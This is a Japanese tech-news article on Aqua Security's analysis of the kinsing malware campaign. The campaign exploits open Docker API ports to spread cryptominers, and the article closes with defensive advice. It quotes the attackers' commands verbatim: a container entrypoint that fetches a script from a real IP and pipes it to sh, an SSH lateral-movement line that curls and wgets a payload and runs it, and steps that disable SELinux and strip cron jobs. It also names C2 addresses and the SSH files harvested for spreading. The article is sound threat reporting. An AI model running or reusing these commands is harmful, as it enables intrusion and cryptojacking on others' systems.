コンテナを標的にしたマルウェア、Aqua Security Softwareが攻撃手法を解説:クラウドネイティブ環境にも危険あり
Aqua Security Softwareは、コンテナ環境を標的にした「kinsing」マルウェア攻撃の脅威について、レポートを発表した。Docker APIポートの設定ミスにつけ込み、多数のコンテナに感染しながら、仮想通貨の発掘を試みる攻撃だ。クラウドネイティブ環境では何に気を付ければよいのかもまとめている。
Aqua Security Softwareは2020年4月3日(米国時間)、コンテナ環境を標的にした「kinsing」マルウェアによる攻撃の脅威について解説したレポートを発表した。
同社はコンテナ向けのセキュリティ対策製品などを手掛け、企業によるクラウドネイティブアプリケーションやインフラのセキュリティ確保を支援する企業だ。
同社によると、コンテナ環境を狙った攻撃がこのところ増加しているという。中でも、誤って構成されたオープンDocker Daemon APIポートを標的にした攻撃キャンペーンが目立つ。数カ月にわたってキャンペーンが継続しており、かつてない高頻度となっている。同社はこの攻撃が、攻撃実行に必要な大規模なリソースとインフラを有する攻撃者によって、計画的に行われていると結論付けている。
Aqua Security Softwareの分析によれば、攻撃者は「kinsing」マルウェアを使い、誤って構成されたDocker Daemon APIポートを悪用してUbuntuコンテナで実行する。その後、kinsingマルウェアが自身のコピーを他のコンテナやホストに拡散しようとすることを突き止めた。最終的には仮想通貨を発掘するクリプトマイナーがコンテナ内に配置される。
どのように攻撃が始まるのか
今回見つかった攻撃の仕組みに関する同社の分析は次の通りだ。
攻撃者は、保護されていないオープンDocker APIポートを悪用し、Ubuntuコンテナを次のエントリーポイントでインスタンス化する。
/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null
このエントリーポイントは、この攻撃で常に使用されていた。攻撃ごとに違っていたのは「d.sh」がダウンロードされるIPアドレスだけだった。例示したIPアドレスの他、「217.12.221.244」と「185.92.74.42」というIPアドレスが使われていた。
例示したコマンドは、次のような一連の処理を実行する。
- 「apt-get update」コマンドでパッケージを更新する
- 「apt-get」コマンドで「wget」コマンドをインストールする
- 「cron」サービスを開始する
- インストールしたwgetコマンドでシェルスクリプトをダウンロードする
- シェルスクリプトを実行し、/dev/nullから際限なく読み取りを実行し、コンテナの動作を維持する
特徴的なのはwgetコマンドでconシェルスクリプトをダウンロードしている点だ。このシェルスクリプトは後ほど、コンテナ内で永続性を獲得するために使われる。
セキュリティ防御を回避し、永続性を確保する
d.shという名称のシェルスクリプト(以下、シェルスクリプト)は、600行以上あり、次の7段階の内容を実行する。
- セキュリティ対策を無効にし、ログを消去する(echo SELINUX=disabled >/etc/selinux/config)
- 多数のアプリケーション、特に他のマルウェアとクリプトマイナーを強制終了する
- 他のマルウェアやクリプトマイナーに関連するファイルを削除する(主に/tmpディレクトリから)
- 実行中の競合する悪意あるDockerコンテナを強制終了し、それらのイメージを削除する
- kinsingマルウェアをダウンロード後、実行する
- crontabを使って、1分ごとにシェルスクリプトをダウンロードして実行する
- cronで実行されている他のコマンドを探し、見つかったら、自身を含む全てのcronジョブを削除する。攻撃者がこの処理を選んだ理由は不明だが、シェルスクリプト内の次の行では、説明した通りの処理を行う
crontab -l | sed '/update.sh/d' | crontab -
マルウェアを実行する
Aqua Security Softwareが分析のためにkinsingをマルウェア検査サイト「Virus Total」に提出したところ、kinsingは同サイトによってLinuxエージェントと特定された。
kinsing内の文字列から、このマルウェアはGo言語で記述されており、次のようなGoライブラリを使用することが分かった。
- go-resty:HTTPとRESTのクライアントライブラリ。コマンド&コントロール(C&C)サーバとの通信に使う
- gopsutil:プロセスユーティリティーライブラリ。システムとプロセスの監視に使う
- osext:標準の「os」パッケージの拡張版。バイナリの実行に使う
- diskv:ストレージ用のディスクバックアップされたキーバリューストア
C&Cサーバとの通信を始める
制御された環境でマルウェアを実行し、モニタリングを実行することで、悪意ある動作の詳細が明らかになった。
マルウェアはペイロードをデプロイする前に、東欧にあるサーバとの通信を試みた。マルウェアが実行する機能ごとに専用サーバがあるもようだ。
- 「45.10.88.102」というIPアドレスとの接続を確立しようとする。サーバが応答しないため、この試みは失敗する
- 「91.215.169.111」に接続する。これがメインC&サーバのようだ。マルウェアはHTTPのポート80経由でこのホストと通信し、数秒ごとに小さな暗号化されたメッセージを送信する
- 「217.12.221.244/spre.sh」に接続する。これが、マルウェアを横方向に拡散するためのシェルスクリプトのダウンロードに使われるようだ
- クリプトマイナーが「193.33.87.219」に接続し、命令を受け取って暗号通貨マイニングを行う
標的を発見し、マルウェアを横方向に拡散する
マルウェアがダウンロードしたシェルスクリプト「spre.sh」は、コンテナネットワークを介してマルウェアを横方向に拡散するために使われる。
潜在的な標的を発見し、認証に必要な情報を入手するために、このスクリプトは「/.ssh/config」「.bash_history」「/.ssh/known_hosts」などからデータを収集する。Aqua Security Softwareは、標的の発見に使われるスキャン技術を特定していない。
収集された情報を使って、マルウェアは、SSHを通じてユーザー名と鍵のあらゆる組み合わせを試し、各ホストに接続しようとする。ネットワーク内の他のホストやコンテナに、問題のシェルスクリプトをダウンロードし、マルウェアを実行するためだ。
シェルスクリプトの名称は「spr.sh」だと分かった。これは、以前の攻撃シーケンスで前に使われた「d.sh」というシェルスクリプトと同じだ。
ネットワーク上にマルウェアを拡散するために、次のSSHコマンドが使われる。
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "sudo curl -L http://217.12.221.244/spr.sh|sh; sudo wget -q -O - http://217.12.221.244/spr.sh|sh;"
このスクリプトには、「SSH接続を20回試みるごとに20秒スリープし、クリーンアップを行う」というコメントがあった。Aqua Security Softwareはこれについて、攻撃者がセキュリティ防御を回避し、挙動を隠そうとしていることを示している可能性があると指摘している。
攻撃の最終段階で、マルウェアは「kdevtmpfsi」というクリプトマイナーを実行する。このクリプトマイナーは、Virus Totalでビットコインマイナーとして特定できた。
クリプトマイナーは、HTTP経由でログイン要求を行い、「193.33.87.219」というIPアドレスを持つホストに接続する。さらに命令を受け取り、暗号通貨のマイニングを開始する。
次の図は今回の攻撃の全体的な流れを示したものだ。
クラウドネイティブ環境では何に気を付ければよいのか
kinsingマルウェアによる攻撃は、拡大の一途をたどっているクラウドネイティブ環境に対する脅威の一例だ。コンテナの導入が進み、大規模なデプロイが珍しくなくなっている中、攻撃者はより巧妙で野心的な攻撃を仕掛けるようになっている。
Aqua Security Softwareは次の図のように、kinsingマルウェア攻撃の構成要素を、サイバー攻撃のフレームワーク「MITRE ATT&CK」にある対応する戦術と技術にマッピングした。
kinsingマルウェアのようなコンテナに向けた攻撃に対抗するにはどのような戦略がふさわしいだろうか。DevSecOpsチームが取るべきセキュリティ戦略として、Aqua Security Softwareは次のようなステップを挙げている。
- 全てのクラウドリソースを特定し、何らかの論理的な構造でグループ化する
- 権限と認証のポリシー、基本的なセキュリティポリシーを見直し、最小特権の原則に従って調整する
- rootユーザーや特権モードを避け、最低限の権限を用いて、使用するイメージをスキャンし、イメージの用途を確認し、動作に慣れておく。使い慣れていることを確認する。オープンソースのコンテナイメージ用の脆弱(ぜいじゃく)性スキャナー「Trivy」を利用する
- ログを調査し、主にユーザーのアクションを中心に、異常を見つける。異常とは、説明ができないアクションのことだ
- ポリシーを簡単に実施できるようなセキュリティ戦略を立て、クラウドセキュリティツールの利用を検討する
同社はレポートの最後に、アクセスをブロックすべきIOC(侵害指標)のついたURLの一覧と、kinsingのハッシュ値(MD5)を掲載している。
Copyright © ITmedia, Inc. All Rights Reserved.
関連記事
- コンテナ、サーバレスなどクラウドネイティブに求められる「開発者に優しいセキュリティ」がゼロトラストな理由
コンテナ、マイクロサービス、サーバレス、そしてアジャイル/DevOpsといった、デジタルトランスフォーメーション(DX)時代に求められる技術や手法を駆使した現在の開発では、どのようなセキュリティバイデザインが求められるのか。 - 「コンテナセキュリティ」とは――コンテナを活用する人が知っておくべき6つのポイント
エンジニアならば避けては通れない技術となった「コンテナ」に“脅威”はないのだろうか? “コンテナセキュリティ”が考慮すべき6つのポイントや、どこで脅威が混入する可能性があるのかをトレンドマイクロに聞いた。 - 開発から運用まで、コンテナの“DevSecOps”を実現するAqua Securityが日本本格展開
Aqua Container Security Platformは、コンテナを利用したサービス/アプリケーションの開発から本番展開、運用に至る各プロセスで、コンテナ技術に合わせたセキュリティ対策を提供するソフトウェア製品群だ。